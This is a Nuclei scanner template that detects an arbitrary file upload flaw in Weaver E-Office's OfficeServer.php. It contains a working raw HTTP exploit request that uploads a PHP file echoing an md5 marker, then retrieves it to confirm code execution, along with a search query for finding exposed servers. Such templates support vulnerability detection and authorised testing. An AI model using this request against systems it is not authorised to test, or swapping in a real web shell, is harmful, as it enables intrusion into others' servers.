nuclei-templates/http/vulnerabilities/weaver/weaver-office-server-file-u...

55 lines
2.0 KiB
YAML
Executable File

id: weaver-office-server-file-upload
info:
name: OA E-Office OfficeServer.php Arbitrary File Upload
author: SleepingBag945
severity: critical
description: |
OA E-Office OfficeServer.php has an arbitrary file upload vulnerability. Attackers can obtain sensitive information on the server through the vulnerability.
reference:
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Office%20OfficeServer.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
metadata:
fofa-query: app="泛微-EOffice"
max-request: 2
verified: true
tags: weaver,e-office,oa,rce,intrusive,fileupload
variables:
filename: "{{to_lower(rand_base(5))}}"
http:
- raw:
- |
POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpoiBFy4ANA8daew
------WebKitFormBoundaryLpoiBFy4ANA8daew
Content-Disposition: form-data;name="FileData";filename="{{filename}}.php"
Content-Type: application/octet-stream
<?php echo md5(weaver);?>'
------WebKitFormBoundaryLpoiBFy4ANA8daew
Content-Disposition: form-data;name="FormData"
{'USERNAME':'admin','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'{{filename}}.php'}
------WebKitFormBoundaryLpoiBFy4ANA8daew--
- |
GET /eoffice10/server/public/iWebOffice2015/Document/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "758058d8987e7a9ec723bcdbec6c407e"
- type: status
status:
- 200